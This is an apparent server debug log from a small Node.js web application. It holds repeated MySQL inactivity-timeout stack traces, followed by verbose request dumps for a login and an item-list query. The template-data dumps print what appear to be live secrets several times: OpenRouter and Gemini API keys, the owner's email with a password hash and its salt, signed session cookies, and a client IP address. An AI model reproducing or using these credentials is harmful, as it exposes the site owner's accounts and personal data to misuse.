  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 22:59:46' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-20 23:50:31' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-20 23:50:31' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 00:25:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 00:25:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 01:48:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 01:48:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 02:02:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 02:02:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 02:08:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 02:08:07' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 02:32:38' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 02:32:38' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-21 03:01:07' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-21 03:01:07' as DATETIME)"
}
2025-12-21T03:59:00.705Z server-connect:router Serving templateView /
2025-12-21T03:59:00.707Z server-connect:app Executing action step identify
2025-12-21T03:59:00.707Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:00.708Z server-connect:auth No login cookie found
2025-12-21T03:59:00.708Z server-connect:output identity: false
2025-12-21T03:59:00.708Z server-connect:app Executing action step restrict
2025-12-21T03:59:00.708Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T03:59:00.711Z server-connect:output restrict: undefined
2025-12-21T03:59:00.933Z server-connect:router Serving templateView /login
2025-12-21T03:59:00.934Z server-connect:app Executing action step identify
2025-12-21T03:59:00.934Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:00.934Z server-connect:auth No login cookie found
2025-12-21T03:59:00.934Z server-connect:output identity: false
2025-12-21T03:59:00.934Z server-connect:router Render template layouts/authentication
2025-12-21T03:59:00.934Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:00.932Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"196d-LKwcMPQ3dgGRjZwXahAD+qnHq6M"',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-21T03:59:08.915Z server-connect:router Serving serverConnect /api/access-control/login
2025-12-21T03:59:08.916Z server-connect:app Executing action step identify
2025-12-21T03:59:08.916Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:08.966Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-21T03:59:08.969Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-21T03:59:09.020Z server-connect:output identity: 1
2025-12-21T03:59:09.020Z server-connect:app Executing action step login
2025-12-21T03:59:09.020Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2025-12-21T03:59:09.022Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-21T03:59:09.067Z server-connect:output identity: 1
2025-12-21T03:59:09.067Z server-connect:app Executing action step restrict
2025-12-21T03:59:09.068Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:09.069Z server-connect:output restrict: undefined
2025-12-21T03:59:09.303Z server-connect:router Serving templateView /
2025-12-21T03:59:09.303Z server-connect:app Executing action step identify
2025-12-21T03:59:09.303Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:09.303Z server-connect:output identity: 1
2025-12-21T03:59:09.303Z server-connect:app Executing action step restrict
2025-12-21T03:59:09.303Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T03:59:09.304Z server-connect:output restrict: undefined
2025-12-21T03:59:09.304Z server-connect:app Executing action step restrict
2025-12-21T03:59:09.304Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-21T03:59:09.304Z server-connect:output restrict: undefined
2025-12-21T03:59:09.304Z server-connect:router Render template layouts/main
2025-12-21T03:59:09.305Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'x-forwarded-for': '49.43.180.83',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-22T03:59:09.069Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.83',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3As1VIO6abQdc8npzk8bYUKg%3D%3D.yrC8Y8GAZpAy%2Bh7Pxticc%2BNRoERDr9bAtUTyhBStCh7hQM2Q92U2Uu%2BrMaOLhjdCLf3KIsi5QG9LDBHXtPzaVVUTGvebzlq5%2BCQizQvHkEpTdHCZiiFuPJ4EtU9tVL1BEKZj4IUba0JfV4uqJO5SjJVKhZ6qnOKLPwBIsapeO3Q%3D.f3hu%2FJKLecrE2I6Roo8CL6Ybi2g3O8kfZgchBgUtUvQ; your_r_git.sid=s%3ANaOgLDoUMkcSS6C-jtYkAxqjysXxY4-6.oCOKuroIjTSC8euTdKNo7lVa7JgO0WXai9InAoJG5ck',
    'HTTP_X_FORWARDED-FOR': '49.43.180.83',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2025-12-21T03:59:10.277Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-21T03:59:10.277Z server-connect:app Executing action step identify
2025-12-21T03:59:10.278Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:10.278Z server-connect:output identity: 1
2025-12-21T03:59:10.278Z server-connect:app Executing action step restrict
2025-12-21T03:59:10.278Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:10.279Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-21T03:59:10.280Z server-connect:output restrict: undefined
2025-12-21T03:59:10.282Z server-connect:app Executing action step single
2025-12-21T03:59:10.282Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-21T03:59:10.284Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-21T03:59:10.285Z server-connect:app Executing action step identify
2025-12-21T03:59:10.285Z server-connect:app options: { provider: 'security' }
2025-12-21T03:59:10.285Z server-connect:output identity: 1
2025-12-21T03:59:10.285Z server-connect:app Executing action step restrict
2025-12-21T03:59:10.285Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-21T03:59:10.286Z server-connect:output restrict: undefined
2025-12-21T03:59:10.287Z server-connect:app Executing action step select
2025-12-21T03:59:10.287Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-21T03:59:10.298Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
